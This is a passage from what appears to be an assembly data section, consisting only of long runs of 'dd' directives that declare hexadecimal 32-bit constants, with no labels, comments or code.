9CC559F8h, 798204Bh, 4A3D8C88h dd 0AA4C023Ch, 0C8E43DB3h, 32DAF94h, 0B159BF14h, 0AAC679CFh dd 0DC93016h, 0C8CBC825h, 1DC06EC8h, 3489908h, 92854457h dd 0E584B3FCh, 6FE0C388h, 7100E156h, 0FC25623Ch, 7ED744Ch dd 8BAF089Bh, 8707D4D5h, 814AF4F0h, 0E0D3B2ECh, 682C2BC4h dd 0D16FF4B0h, 774E0296h, 0A86720D8h, 17029500h, 0B7976E1h dd 374EC372h, 0D044A402h, 1908C00Ah, 0A748002Eh, 3BA6B1D4h dd 18F72892h, 0ACDB05B0h, 8B3CC035h, 0A8F10734h, 0DD30CCDBh dd 91C838CDh, 1D4909E4h, 28777C80h, 31D2BFD3h, 2D00D037h dd 0C24DEDh, 0CDC3782Fh, 0F9332C68h, 0C8DF572Eh, 67808665h dd 0E831BFFh, 0A21FBAD0h, 82A3D664h, 2C84BBB8h, 0DA0E405Eh dd 1C887EE4h, 40BF2031h, 0F135DF9Eh, 0A090800Dh, 6087900h dd 0BBC38AB1h, 790B1DAh, 48EDE4A4h, 82FF0D04h, 2FC8ECCBh dd 958CCBC0h, 0D5E116A8h, 3A8084E8h, 16623E0h, 888FC1E0h dd 0BC246CC6h, 0C90E8C6Bh, 80201311h, 38CF7901h, 60D098D0h dd 5E29B141h, 0BC9C6A33h, 416E467Ch, 0DE934090h, 0B37BCB64h dd 0A4215C60h, 0B774E03h, 0F6B5E1DDh, 61F53440h, 22630C80h dd 68964FA0h, 54A70B40h, 0B6DD3A25h, 0DADFD580h, 8A0630C3h dd 0D91D000h, 37AF68B5h, 97F042Ah, 0A179D402h, 98C4DACCh dd 8694DE14h, 0BCBF1CF7h, 6317F5C2h, 4C2C5A9Eh, 36273C58h dd 6D91C835h, 78BA7B80h, 0C1CD09Eh, 1F9DF06h, 5C6BB508h dd 0E460B055h, 78614399h, 0E8627CAAh, 7A73C71h, 652241B4h dd 3EB4F05Fh, 0A6C021F1h, 6B91D493h, 0A9DBAD80h, 448CA835h dd 0A501EEC3h, 667858DCh, 0C82238C8h, 3681DB00h, 0AB5612Ah dd 64800B00h, 762D8525h, 0DEEC09E5h, 0E80CD15Dh, 0BE4898A2h dd 80414B68h, 4A5149D8h, 0B3B3A443h, 10F0D50Ch, 0DC0A00BBh dd 1B4D57B0h, 596FE1ECh, 82536918h, 0F0762538h, 91D9100Ch dd 598E0071h, 4A613DFh, 3ADC0E2Ah, 7062AB55h, 9CC12DFCh dd 5F9C5077h, 69316223h, 9F4588DAh, 18C01C3Ch, 3D97AF1Fh dd 0DF1743FCh, 5088D8F7h, 5C3EED7h, 0C4208DB0h, 0FF380F8h dd 153FC95Ah, 6C4E89ADh, 1BF544Bh, 0D9877DDAh, 0B087CF82h dd 0A3213610h, 0CF9A3950h, 25125700h, 2C7DB504h, 1F58788Ch dd 49F5A89h, 80980BD5h, 97C4E8FAh, 82E18701h, 248EA37Fh dd 11026CCh, 0DA163720h, 0F7B9BC0Fh, 0E98F06C8h, 0B1034C98h dd 52B0159Bh, 6119FF9Fh, 4E000980h, 0A30B500Bh, 426C31D4h dd 0CD9ACh, 4C8C2015h, 452ED41Dh, 6F441469h, 0ADDBB160h dd 3CC83510h, 0DBA9F2B0h, 43A0D403h, 987F9644h, 27835CF4h dd 54381912h, 6B005B95h, 704CDB89h, 45EE3D8h, 42B6CDFDh dd 0C82CCBBEh, 0AA54C070h, 0D9003339h, 9B8B34C2h, 0C05B0256h dd 0EEA55F71h, 5805464Eh, 42158A45h, 59B5AE02h, 5C78F23Dh dd 8338F455h, 0F7B8CD80h, 3458ABAFh, 324F7D03h, 0E012C672h dd 94D6294Eh, 0D0959790h, 5F81F108h, 0CA333700h, 0FD7FA74Ah dd 15E71EEDh, 0B44E80E9h, 7CAE2FD9h, 4974A63Ah, 0DA313F8Ch dd 281F6C12h, 12780363h, 0F2D4DD0Bh, 709AC098h, 7EB4A212h dd 636D28A1h, 8DD09DCh, 0B450510Eh, 0E8F8E55Ch, 0A77F8CC6h dd 0E40F5598h, 25A1C5DEh, 0F4D77DE1h, 0B784B621h, 9110C0A6h dd 1902843Dh, 88908B24h, 6FC2C369h, 8848AFA2h, 3C30DA90h dd 81A1612Bh, 1C2D3A73h, 1BEBE080h, 0D3EA59D2h, 6BD1C71Ch dd 18C4B0A5h, 0EFA900F0h, 35FCE865h, 73171E94h, 58906980h dd 0CBAEFDA4h, 30043C86h, 345E445Bh, 0AD3E20A2h, 2092B9A0h dd 14584139h, 0CDC4391h, 2190AE54h, 0E2BB199Fh, 7279811Ah dd 39D806C8h, 4B3032B1h, 5E8C21E0h, 7C344035h, 0C95CFCD6h dd 41B48088h, 958191ECh, 4F31A0A2h, 0AF544929h, 612DE1F0h dd 0DCA4186Bh, 14342CB1h, 29B0DD0Dh, 6FD1C4C8h, 0EE780E18h dd 4C0FDB01h, 0B42EC089h, 0BE250D20h, 8B503FCh, 913D7F66h dd 1C455B5Eh, 1CF59A62h, 2C24B5EDh, 6DCC0077h, 4D390EDAh dd 1A250614h, 4F08689Eh, 0CBD91373h, 49C818C9h, 9395E053h dd 2F57C49Ch, 1C52338h, 0FCFAFE2Bh, 0A163E8A9h, 4754A095h dd 6B51F0D6h, 0D04DC973h, 21BB91C1h, 82002433h, 0C33F1496h dd 0DC00810Bh, 690CBAEDh, 0BED173h, 0D2059448h, 0B4110E55h dd 0CC8B534Ah, 0BCC036C8h, 0DBD111h, 7FE20935h, 61D8C010h dd 22311D2Fh, 1D0E494h, 3D5B325Eh, 0DA7E01CCh, 0AFF0DF7Ch dd 1D8AC70h, 71A3FF25h, 6C9E0DA8h, 8C33BC58h, 0A9E00100h dd 77FEBC48h, 0B9D91435h, 840FAC67h, 29A9B021h, 0D91050C6h dd 1C137F39h, 0C8808B11h, 0C5FECFC5h, 819DA769h, 745CAD10h dd 0B512E538h, 9849D210h, 0E4E8C5C6h, 0C1496067h, 6CD902D2h dd 26096158h, 7DE53C71h, 0DC7264A1h, 0B7306BF2h, 7FE73880h dd 90D18681h, 80BE3825h, 6334361h, 397AA1h, 0A551E881h dd 4B0EABFDh, 6F7EF398h, 7420A95Bh, 19425FEh, 9C55BFAEh dd 70E101F1h, 490045A1h, 2237AF6Ah, 26F4D5D4h, 267C5BE0h dd 829F11B8h, 62041271h, 600CF120h, 0E6126993h, 78151C0Eh dd 8C202A49h, 16996209h, 0F53B00FCh, 5FF98305h, 0CF4A6976h dd 0BDD4A004h, 95B0DCF6h, 5100F6B5h, 0E94BFED5h, 6001EBF4h dd 0B7D7795Fh, 0B0A08BF9h, 4A3B3661h, 4C2A0033h, 9F589E38h dd 730A260Ch, 9EC48CCh, 0CC94282Dh, 68D10491h, 2404FF18h dd 0DCDA5722h, 0BD006CB2h, 0E6114902h, 3114405Eh, 0C290EA53h dd 8E701D54h, 28D120E5h, 0BE9F63A9h, 239562B4h, 4C1B3C01h dd 0E4431882h, 0CCD87EA1h, 0DCFCD913h, 0DA289C05h, 90CB8E4h dd 0B218D677h, 0A0E8800h, 0F0905E4Eh, 0B031A44Eh, 5460A5FCh dd 88844BBBh, 5E386308h, 984AAF7Dh, 0F70CA264h, 0A504C82Ch dd 588417B8h, 399BA70h, 28A09318h, 1905AED7h, 0DA79B302h dd 8CFF84F4h, 0AF6FAA05h, 7CB2ABA1h, 6FA25CC0h, 3E04793Bh dd 0C6C7FA5Bh, 0D4198EC0h, 8C7759E5h, 7CD5D908h, 3066281Dh dd 69D8AD40h, 0D97D8155h, 7874F2D1h, 6D467Ch, 71361307h dd 95D1DBCh, 1F4D4958h, 38D51C10h, 646C7645h, 28C65ACh dd 5D4ECEC2h, 0E850AEh, 55030CD8h, 81617A79h, 0DC680934h dd 7C5AE4B5h, 34F3952Eh, 64CE5C84h, 30DAF8A0h, 53193C87h dd 9900D076h, 0B271A4D3h, 2A5910Fh, 0C9C65E0h, 0A0805D79h dd 0DA30C7ACh, 98E9317Eh, 37F81968h, 0C2D4AD9h, 5250DF24h dd 0BA30AF1Bh, 9ABA868h, 0CEC427A6h, 0C93D3402h, 41FCD4C1h dd 23D888h, 4DE9AB9Fh, 9C02C4B9h, 82B4B813h, 2EE40445h dd 2B121461h, 2400D06Eh, 28876C2Ch, 4BEB3CFh, 222DE9Dh dd 0DD61DC0Eh, 0C451718Fh, 0BF186BD1h, 32BE9601h, 0E0D5DD3Dh dd 38189028h, 6CB571BDh dd 0B08D7301h, 1E76BFBEh, 3ADE860h, 77BCE2FDh, 48B9DCF3h dd 0A38BBCDh, 0C81BB969h, 4674E02Ch, 0A8FA1E6Ah, 0DBBB0405h dd 104A58A4h, 1672F9DCh, 94C2922Ch, 9788F8D2h, 0EF123037h dd 0DABC4C04h, 2541D802h, 0F7106854h, 78C32E8h, 0A547DEEEh dd 11AF977Eh, 2054A1E0h, 0DC254220h, 0D4480F5h, 0C94EB43Dh dd 34D18438h, 8A183271h, 453F8100h, 6C79EF31h, 0D6E89EBEh dd 0F063B10Ch, 0A21BB26Fh, 9C0874A8h, 40882CB3h, 0CD310369h dd 0AFC65B1Eh, 935C4D01h, 2160E40Ch, 0E4A05A3h, 0F4D627FEh dd 96A41Ch, 59B108h, 37814465h, 0D030B51Fh, 61785956h dd 0A4CBA4Dh, 0BBC89E1Ah, 0A4702EC4h, 0D1A11282h, 20FFA53Ch dd 5E141F00h, 454623Ah, 86590CA1h, 44A534B4h, 8E2D4E6Ah dd 0BEF435BEh, 32E71C8Fh, 0A3EDF7C0h, 894AE8ADh, 2CA20813h dd 7DB55B1Dh, 0DF1DE500h, 38402886h, 17C08F02h, 0E8BC9DDDh dd 2808DAE8h, 44D02578h, 9909B054h, 81E29A3Ch, 0D0D7373Ch dd 395C212Bh, 0D900F2C9h, 80CEDB90h, 41C764D2h, 12D48709h dd 0AA8074E8h, 576D7015h, 14005377h, 4847C7B5h, 0BC8F4312h dd 0A6174018h, 5207D983h, 129684F1h, 9CA9AF35h, 3B2EEBB8h dd 2601898Dh, 0E8DAA7F2h, 4193A030h, 8C6E2A3Dh, 0D8D9A00h dd 5ECF4079h, 9C204898h, 0CDF00C8h, 88EBD2ABh, 0A75D20BDh dd 0B2D11108h, 79B40C07h, 0A8B5C2AFh, 68799C51h, 3ECA0019h dd 0A909D71Fh, 6031E135h, 0FB4E7DB0h, 3CAC6985h, 0C0D84029h dd 416DE7Bh, 8078C93Dh, 5CBB7271h, 17E3FC23h, 3474A1B7h dd 20F0AC34h, 2DA00ED3h, 8702F635h, 8767457h, 44E0E408h dd 6FA860FDh, 9BA12EADh, 0A05A7038h, 0DCF06F00h, 387851B9h dd 0E6430279h, 67910C21h, 0C719B422h, 606A4444h, 14866Ch dd 0A38F3D4Fh, 2DB578D9h, 7252402h, 726DE137h, 311513A8h dd 0A288F079h, 0BC70834Ch, 99F88C2Eh, 86BFB701h, 0D3BBF18Bh dd 1E18523Ah, 0E5DC120Ah, 0C0A3E84h, 730108DFh, 3D882DA7h dd 60DF3C8h, 3CFFAF75h, 5E03212Ch, 626BE826h, 350298E5h dd 3630009Ch, 0E0E9FB80h, 504ADABh, 1D0417B5h, 40B32CC5h dd 0A133C2A2h, 0D4780F50h, 4E275E80h, 0A600F9C5h, 1CD5D378h dd 0BCE29DE1h, 2E5E0910h, 0D44BDCE6h, 0EC321499h, 1D306EE2h dd 260F02D6h, 0B988F9AAh, 60556460h, 0E0407981h, 406E242h dd 387A725Dh, 0BB30D13Bh, 534989D6h, 2260B611h, 0D91AE4FAh dd 42586EF1h, 0D69C1260h, 25186C30h, 0FD3E7E42h, 671910C2h dd 3D10723Eh, 165A7A6Fh, 0BC49C4C9h, 881B3020h, 0C502FD8h dd 0F044B48h, 0A969B46Fh, 480060B2h, 88C0017Bh, 0E425AD2Bh dd 0E47445B4h, 1BD6132h, 2EBCAF4h, 0AA240BD5h, 50D9614Ch dd 8518C379h, 0FD04D475h, 0D1F137AEh, 0C85AD4A8h, 580194FCh dd 0DBE8AEFh, 0D1F2A7B8h, 5138A120h, 9A718C2h, 0CF2943B2h dd 0F4404C59h, 0F8135A1Fh, 484C00BBh, 8E9FB2A1h, 0D209E7CFh dd 64795870h, 304200F8h, 0A8C21CC8h, 4A098671h, 8327D063h dd 885303B8h, 27837951h, 0A8604895h, 873EE236h, 0A6C2036Dh dd 75A7708Ch, 0DD8A1E3Eh, 0FD6C80C3h, 7B4B3EE3h, 28DB2600h dd 49FC139Bh, 19E700BCh, 36C8DA68h, 0D600F285h, 5D5EBED1h dd 50526Dh, 0EC7B993Ah, 167AAB7h, 73AE772h, 0ACC00709h dd 0AB100A3Fh, 0B97131h, 274D30D1h, 706CC338h, 2DBC5Ch dd 0E8CED70Fh, 0B4C15Ah, 0BB60EF6Dh, 0E7BEB692h, 47362000h dd 5A4832C8h, 5C461FB4h, 61B4117h, 0EC3F590Eh, 4D07AF5Fh dd 0D22AE5D1h, 40D99002h, 953011h, 8512C541h, 0A52EE31Eh dd 462CFD06h, 3E8818A4h, 163EE037h, 1557520Fh, 39E5F240h dd 1E2E083Dh, 6E1C0E64h, 4F58BF07h, 517EC190h, 0CB220086h dd 83B8AF66h, 256FC6AEh, 59610051h, 2A0BBh, 77BE2FFDh dd 0EAEF488Dh, 86DC4200h, 15940553h, 37F800A5h, 7D4CC959h dd 0E8099C65h, 20420608h, 7B98F0F0h, 97C81817h, 302A70BAh dd 211DDD00h, 0C65A13C0h, 0B94400E6h, 1084EEBBh, 6E01EB2Ch dd 1C86C4A7h, 0C043C938h, 5176CDh, 4BAF5E01h, 69937F7Ah dd 0AE099CE6h, 1A56D79h, 3CDDC50Dh, 78CFD050h, 767400FAh dd 0DC526384h, 73062B15h, 36A0D120h, 45330090h, 3FB3FF55h dd 0C400C69Ah, 46B8EC65h, 0EA6FC7Bh, 6EA3C74Dh, 0DC338F20h dd 44009FCDh, 88024A1Eh, 6E61Bh, 0B4D90537h, 5D0F9658h dd 0B8D5EF01h, 0AC238A5Ah, 0BC943D4h, 5B6EEC95h, 0F0187A80h dd 63380411h, 0E100F92Eh, 0B05DF7C7h, 73624Ch, 0B776609Ah dd 7FF16772h, 0C1EE39h, 61DEE24Ah, 599777h, 6EC5224Dh dd 7CC3323Bh, 0C4FCAD71h, 15ACBF00h, 0C240737Eh, 0A2910E7Bh dd 5608C70h, 181E1DBCh, 4413B07Eh, 8400B48h, 0B8B4F10Ah dd 0D09D0776h, 0C0D94D60h, 0D6C13BD7h, 0BF85F303h, 0FF2CE5D4h dd 9248A030h, 8D020AC7h, 0D82812h, 0C03A99A5h, 17EE1FE1h dd 7AF0B41Dh, 6D57D480h, 4C5A4FA1h, 9A038012h, 27E560D6h dd 6C783800h, 0EE11930Dh, 2A30020h, 9D3E31FFh, 95078DBFh dd 1BFEEA56h, 864503F3h, 8CBB5098h, 856130D4h, 10931EC8h dd 2F91F109h, 3142041h, 98888075h, 3FC20A70h, 41B0BD78h dd 0FC8120AAh, 6C0035B3h, 75C8B695h, 705BB933h, 0D4E71251h dd 704800B8h, 1A4EC42Fh, 0F9E8D300h, 42FAE514h, 0F05237CDh dd 97D882C0h, 0AE111D40h, 0A3015000h, 0C2559C74h, 3E6F00F9h dd 0D1184EC5h, 160003E6h, 66A7E5F8h, 14C796h, 3EF30C94h dd 0B210F0B5h, 0E6135609h, 0FB4C01B9h, 0CC84D19h, 2C610006h dd 6ABE8942h, 27781EE5h, 0C2654B12h, 0C6157442h, 28B04895h dd 0B37003Ah, 7FEFF407h, 9028773h, 6C7645C2h, 0FFD04168h dd 0E900B02Dh, 0C2DF7E98h, 0F0E1733Eh, 170072FAh, 8502CFCCh dd 14E21Dh, 484797B9h, 1662AFCBh, 0A075BA00h, 5E8EDD20h dd 0F078C04Fh, 0BB7A9401h, 810CE83Bh, 44A13561h, 0B3607C40h dd 93BE1EA5h, 3800792Fh, 3F9AD2D5h, 0B000CAE8h, 0CEE67B43h dd 76A9E9E5h, 16B14853h, 0C3DCF80Ah, 0E0C703C0h, 69E8318Ch dd 78002AB8h, 0DB50BA87h, 2A740ACFh, 5ACB7EFh, 5F4FCD9Ah dd 651880B0h, 1C012179h, 7599F3EAh, 9E81003h, 622E00D7h dd 55BDDAF4h, 0CF01DC11h, 79072343h, 0F6E42CEEh, 0DAA10FA0h dd 0C22030EFh, 9E69AABDh, 0C03E7907h, 641725F9h, 9B0EC160h dd 168E71B9h, 80904C58h, 0E4BB803Ch, 1600DAE8h, 0BC66178Dh dd 59DB27h, 0D24E95A3h, 43F86BFAh, 0ADD92F0Fh, 609B6CA8h dd 0F9F3829h, 57332103h, 0A2807F4Bh, 1D00AB5Dh, 0B5A66E85h dd 0E4511EDh, 0C3908CD3h, 0D5A25EA0h, 75006987h, 3504F619h dd 3C1E36Dh, 38FF723Dh, 2198BD4Ah, 0A849635Dh, 282609FCh dd 9A300010h, 7A46B2EFh, 0F283242Bh, 6BF6001Ch, 8FEACA37h dd 0BB1C4C14h, 0DA0079F4h, 3CD6588Dh, 0A1FC2Fh, 61489B96h dd 2ED0EFFh, 7DB2200Fh, 0A3C6A071h, 1A7AD0h, 0F1F4573Ah dd 29A0533Eh, 88B51E26h, 0D3859101h, 0DC244DDAh, 83922CAAh dd 685880D4h, 0CC6D0372h, 73D2C309h, 0C590747h, 2EF0F9A0h dd 30020448h, 8066F649h, 2A146B2Ch, 26D43B00h, 45B55A55h dd 8A78005Bh, 0A7C05470h, 2B00FD8Bh, 3BB053EFh, 4F9E4ABh dd 46D4861Eh, 60C803Fh, 72008887h, 0E69E01A3h, 0C75114h dd 0E95B27E7h, 42417AAAh, 1E0CD200h, 4A5CE12Eh, 580CB8B6h dd 20E7459h, 7F806278h dd 3519E40Fh, 0D5F09C00h, 0CD7B1D03h, 0E450068h, 6FEDBAB7h dd 5004C132h, 17E4CF16h, 0D0306693h, 0C8C4A5h, 0E7CAB647h dd 34324BF8h, 2A002570h, 605565CBh, 92714Fh, 8CF987Ah dd 2E478877h, 80ADF63Eh, 84872F33h, 0C469A0h, 0CE9B743Ah dd 4004955Ch, 884FCA0Fh, 0C9E2600Fh, 0D71E4Ah, 12900DDAh dd 0F5AD3AEDh, 5018FD0Eh, 0F93C201Bh, 5E1096h, 7843BDE4h dd 79543E05h, 2500FF75h, 5B83B5E8h, 90C3E06Ah, 0B1F30138h dd 2E81704Dh, 84AFDC79h, 0E86D8003h, 0E0FFAC1Fh, 3ECEBBBh dd 8FDDCC22h, 0E5BFE934h, 0B238D0A2h, 41000DF3h, 511DE1C3h dd 1D934B7Dh, 0C28DAF07h, 5928D23Eh, 6D01F090h, 0AA006892h dd 0BF356247h, 8BED44h, 0EBCAD7A7h, 0CFC74590h, 246FF80Eh dd 0EDA86005h, 0E980B94h, 0E8F20A69h, 0B4E980A0h, 0FB006BA7h dd 0E5AB9C6h, 52CCD9h, 2FE2EF24h, 1AF80439h, 0D004998h dd 1D295E09h, 1F3A6EFAh, 4083E42Eh, 7A36BDAh, 5360DBD5h dd 5897D299h, 2D0FAA0h, 91D86DAFh, 108FDDD5h, 0D0589965h dd 7344DA70h, 2474087Fh, 8D831418h, 0F834DC18h, 0D1A40002h dd 40C1B501h, 4A00B954h, 1A35383Ch, 0F02D9D71h, 5FE000F6h dd 0A40A26Bh, 5E6FF1BCh, 0D0730168h, 0B0D11CD4h, 7070064h dd 0DC0C6EA5h, 0D588A06Ah, 9FC3CBFh, 575BE300h, 7F21972Dh dd 51EA24C3h, 6E770ACCh, 2871E460h, 0DD0280DFh, 72CFFE14h dd 0DED60010h, 3D883353h, 84950FABh, 5F804AFEh, 0C026BC2h dd 6D058h, 0AB141C59h, 0C6A534h, 6266B1FFh, 0BA20BEA8h dd 6DBD5D00h, 0F4921553h, 64580011h, 808AF666h, 4E00A872h dd 832A9877h, 13AAC6h, 0FF388540h, 0DA16F04h, 0B8029B7Dh dd 0D7CEA09Dh, 4A99E058h, 0C3FD0076h, 0BDE59582h, 42070698h dd 0DE75B7BBh, 0CFE03F40h, 839300A4h, 0F6D8B5D1h, 0E7FAE68h dd 9D643D3Eh, 0EE02171Fh, 549D6A7Dh, 462140C8h, 58E8D625h dd 0F9C65203h, 99866A81h, 0AEDCD866h, 9D50012h, 0D0631684h dd 0B2010E46h, 1A2E4CA2h, 4880ABEFh, 1547B5D2h, 0FE5EB798h dd 8506740Fh, 6D80CF50h, 1E635E71h, 0A6379A22h, 125100CBh dd 6CD010DFh, 0D4069C0Fh, 10E00C03h, 14FD0446h, 0F59E6320h dd 68206F2Ch, 799E442h, 1EDCB843h, 487AD95Eh, 0BDC40C14h dd 3D9A07CBh, 7A60DDC5h, 0FEC81B2Dh, 30547C0Eh, 0BB19C115h dd 9874F312h, 2BFD82Fh, 80D12954h, 0AB886B34h, 0A6F892h dd 0BDE2840Eh, 1434D5DCh, 3E0FE11Eh, 63EAA542h, 0F11D40F9h dd 83F33042h, 253B9828h, 5C8CFA00h, 0D4C63F49h, 0ECD1827h dd 0F8920DBh, 8D363D00h, 14DA06E0h, 0C1E8F7h, 13FEA7FDh dd 4902FF15h, 0E50E9FECh, 8CA4AE39h, 90DE0831h, 248400AFh dd 0FEA8E749h, 8707A248h, 7A9E236h, 8613C220h, 0FF7E0066h dd 0FEC11C8Bh, 75E0266Bh, 101D7730h, 8F4263h, 0C299946Ch dd 43E60F98h, 90C88E30h, 3CE2E8h, 0EB46E517h, 0CC44BCBDh dd 8489AE28h, 7055481Fh, 0D7D007C0h, 0BDC052Fh, 0D51402A4h dd 0A9DE3303h, 0D146117Fh, 30CDE102h, 0E221BBF1h, 32F72EC8h dd 0BD61BE41h, 0BAA60498h, 7E108B61h, 10F8DAE5h, 0E07C148Ah dd 0EE3A148Fh, 88720F0Ch, 3C0AA411h, 8C0DE581h, 26058D06h dd 219A6008h, 208134C6h, 0CCE00406h, 30199617h, 4479F06Dh dd 70073992h, 0A5D082Ah, 85E31530h, 514806B3h, 0A1BF6594h dd 3B99B502h, 809EA6BAh, 5A45D448h, 0EEB768Eh, 97706F21h dd 79DCFF03h, 0A574D688h, 6D4BB702h, 0C18A27F3h, 5183C007h dd 3E47E4DDh, 0E6F00E95h, 0D908CFACh, 0DD1F21DCh, 0F5FD2580h dd 0EBF195h, 0BA9C5E46h, 0C6AB44F0h, 9993E900h, 9D91498Ch dd 3A1B988Dh, 1E09436Bh, 5401C404h, 818EA639h, 0A5E3A9B1h dd 6C0131Dh, 0C80A33C2h, 2100A408h, 0DA5DBD0h, 1E4374A3h dd 0C282BC27h, 69947F1Dh, 0E8105C80h, 56F648E5h, 0CD428D05h dd 88408718h, 5B3F7D3Bh, 70220083h, 0B965E5D1h, 671A93CAh dd 4408B3Dh, 0E660D984h, 0F7E44047h, 0D822A743h, 0EDF023Fh dd 80D2ECB2h, 0D935EDEBh, 697B2A6Fh, 2344674h, 1318A5DEh dd 10A231D8h, 7A5D6CBh, 77AE2EDFh, 0F1E47028h, 21C58C46h dd 820E685h, 929F6E81h, 0BE4C0404h, 90E66CD9h, 4D160220h dd 0C1DDD58h, 96388AEh, 2221C0FAh, 3F5B4D0Eh, 5106FB02h dd 8297B966h, 18A2B88h, 57900CCCh, 0C471C3A0h, 1674F97Ch dd 0D0690CA0h, 8B98A688h, 0B01C1AD8h, 0CD727100h, 1D3A5EC0h dd 1254011Eh, 0A724A49Fh, 0D6B842E8h, 7247E330h, 0A8DF213Dh dd 0FF1FD791h, 906987DBh, 762BF092h, 1F556D95h, 9B802080h dd 5C7281CAh, 0AD003026h, 0F28DD124h, 27D017Ch, 0E47F0E5Ch dd 4F6371CCh, 0C3A0C8E0h, 3DF8137Ah, 7518E7E0h, 0ACE02492h dd 0DA468423h, 4147E70Eh, 32A7FF44h, 0E00323D3h, 0D075EDF1h dd 8C49CC79h, 0F01D004Ch, 6948D50Eh, 405C90E6h, 85864CB4h dd 60DAC4A4h, 7C5D99Fh, 0B88EA480h, 744CC127h, 0FCE18099h dd 888979Bh, 34FE07A9h, 6019709Dh, 0B80EF25Fh, 87E77301h dd 0C666930Bh, 4100A816h, 49154C7Ah, 4D484B44h, 0E400947Bh dd 0EACAA863h, 6DF20B02h, 84EE40h, 397DA770h, 954DCFEDh dd 20D53E00h, 0B1E43E4h, 2167672h, 0CD39D12Fh, 0DF208411h dd 0C3C9A743h, 0E90A9811h, 8C045150h, 98088588h, 9981567h dd 307F903Eh, 3B219FA6h, 3D000E87h, 1D4B805Ah, 3B26B70h dd 0C80F45B5h, 0BC908D38h, 520314F7h, 866D3E3Bh, 83D82243h dd 7B6C7D09h, 37F81999h, 0A508E118h, 0C8F0131Bh, 0D9CE0040h dd 45A202A5h, 9343F214h, 0E40C1168h, 0F01F4200h, 97A7AA0Fh dd 1AB21C3h, 9E3BC8EEh, 108C0014h, 8849DE77h, 1D15E5A9h dd 949573h, 0CFE8CEC0h, 166C33Ch, 71BFDBA5h, 0D43E9E97h dd 6300EB87h, 447A8DAEh, 249449C8h, 413C0A67h, 48E80999h dd 10F94AACh, 0A0E4EAh, 5E939A0Dh, 0EF374224h, 39171E01h dd 8AAD5CD3h, 8CDA4830h, 0DE114DFEh, 0FF880A6Bh, 4D0F2380h dd 9C77AAh, 94DB8AFAh, 1E881FCBh, 0B1038090h, 8DA36E3Eh dd 0F7E59B4Dh, 9F1D89F4h, 0CE8FC0ABh, 40970758h, 93B81E4Bh dd 670F0102h, 0C8442B8Ah, 397ADB46h, 7264247h, 0E1047038h dd 41001FFCh, 5EDDF3Fh, 60CBD40Dh, 0EA3421CEh, 0E00AE3Ah dd 5BF82977h, 0C1723Eh, 581916F4h, 69812FEh, 850DCD15h dd 0F27D00C8h, 0E0A8D5BEh, 0E471B2h, 470B1DDEh, 0DFA9D3C8h dd 6A494817h, 0DB38700h, 54A70746h, 8BC94h, 0B8CA190Bh dd 0F23A10D0h, 306BE902h, 446A9486h, 151D09F0h, 0CC90CC5Bh dd 7100F798h, 6678E0Dh, 762F7F6Ah, 8FD500EFh, 0F27BA749h dd 59F84474h, 63EBE8B0h, 60EB3730h, 0C4F56D83h, 11BC8B00h dd 4C000B10h, 5B81FAA5h, 0EE3DC9Eh, 46EA65Fh, 82895844h dd 9827A0C4h, 0CB4118BFh, 599C0C7h, 0EDFF4847h, 421B3901h dd 306E525Dh, 0E030C475h, 0EA008409h, 0D83EB56Dh, 24104943h dd 1C08350h, 7C737079h, 127E0024h, 0D6661467h, 0D6ECF8A6h dd 0D4872F8Ch, 9A9B9103h, 0B91DE3D3h, 5504B9DAh, 0A246DFh dd 0D231C4Ch, 0E3813A07h, 996226A4h, 8132C420h, 0CB972978h dd 9AF900D0h, 0F8B6DE18h, 51A72200h, 52C92EE1h, 5DFF0123h dd 44733925h, 0F2286228h, 653630D8h, 9026A02h, 46012D66h dd 0C13A1F60h, 5DC8074h, 0E744417Ch, 78585101h, 0ED2FAD98h dd 8021EDD3h, 7C4C48D7h dd 41048C14h, 5E0DEA81h, 0CB21A162h, 8BC88139h, 0DF0300E0h dd 66D05D4Dh, 802EDC46h, 465E94F5h, 99340A9Dh, 1D81500Dh dd 3EF1D583h, 0E1045432h, 0A22842E5h, 33D7E270h, 79C96BD8h dd 0A14B2102h, 0E6C56C93h, 80854480h, 577B6609h, 2400B25h dd 0C7496788h, 60D1E4CCh, 60721E50h, 8BD7618Fh, 0E1777F52h dd 33C4E703h, 9AA754h, 6E198CE1h, 517AC895h, 0C1665C03h dd 81644D1Eh, 9C30163Eh, 588798D3h, 0E4325ED7h, 7720C3C8h dd 956C2B5h, 684BEACEh, 0D7FC9491h, 0C2FE04Ah, 9C00D323h dd 0F1E4AE41h, 0A98D603Dh, 8962E5E9h, 22DCD54Ch, 483098C9h dd 451E2443h, 0A6A0C7CAh, 0AB8B93DEh, 8F893900h, 11C132A2h dd 14CA0552h, 8257F041h, 3CE49B30h, 0A61D6370h, 10C0332Bh dd 2114EE2Ah, 1D29C0ECh, 0F703BE16h, 0F05E4800h, 4E8CC1B4h dd 12BF2C6Eh, 0CD293370h, 0D08414E1h, 1CB0EC82h, 2523C420h dd 2820748Ch, 0A83DDAC2h, 0A0A49103h, 9592FAD0h, 3033FC82h dd 1710A5DDh, 0CAE0D013h, 9500A5D5h, 24423E4Ah, 8447715h dd 0F66D4B49h, 8A9A6880h, 1E4F8B51h, 0C0DDB7C5h, 0EC60FFEFh dd 0B8004C47h, 0CB05679Eh, 7204E432h, 460B00AEh, 848A19A8h dd 4B317CDBh, 8B72709Bh, 11D0C180h, 0CAE8C2D9h, 2BEB1503h dd 99B81642h, 5AD8B132h, 0CED43F45h, 0C2FE978Fh, 701639E7h dd 358143D9h, 0A51D9D01h, 1F219AAAh, 0F938A6h, 812A790h dd 6C00B37Dh, 919E115Fh, 0E027F97h, 0CDBC3133h, 24AF9803h dd 0A2FEB9B8h, 8CA19F06h, 4814A2Ch, 0CB28D702h, 700BA1Dh dd 23B13CE8h, 0A00E00E5h, 0A7979B36h, 0B00D3E9h, 2AF3A2F5h dd 0F75B996h, 25011E6Dh, 0C2A41720h, 0CA30C748h, 4C3593Bh dd 3E2C0E3Ch, 0BBC36F25h, 0D938BA05h, 15B298C7h, 0F47C9A28h dd 2B760D04h, 0F02048A1h, 38000152h, 0C59AFC5Eh, 0AE7B36h dd 0C4039C9Eh, 0C7BF5F0Bh, 0FD7E74Ch, 0E00E983Bh, 6808775Ah dd 0F6B90062h, 40899AD7h, 7F0594DEh, 0BF54E03Eh, 818C6481h dd 218C6F3h, 0B7A4A1FEh, 20BC9006h, 2F9FAB10h, 0DC4B7E07h dd 9D0B438Dh, 9A0BEA3h, 480F3F16h, 9F7D99E3h, 0F5C75FC1h dd 417C5E97h, 0EFFB880Dh, 62200A38h, 28C81181h, 0C864014h dd 0CE1F63E6h, 0DF00D65Bh, 445099FDh, 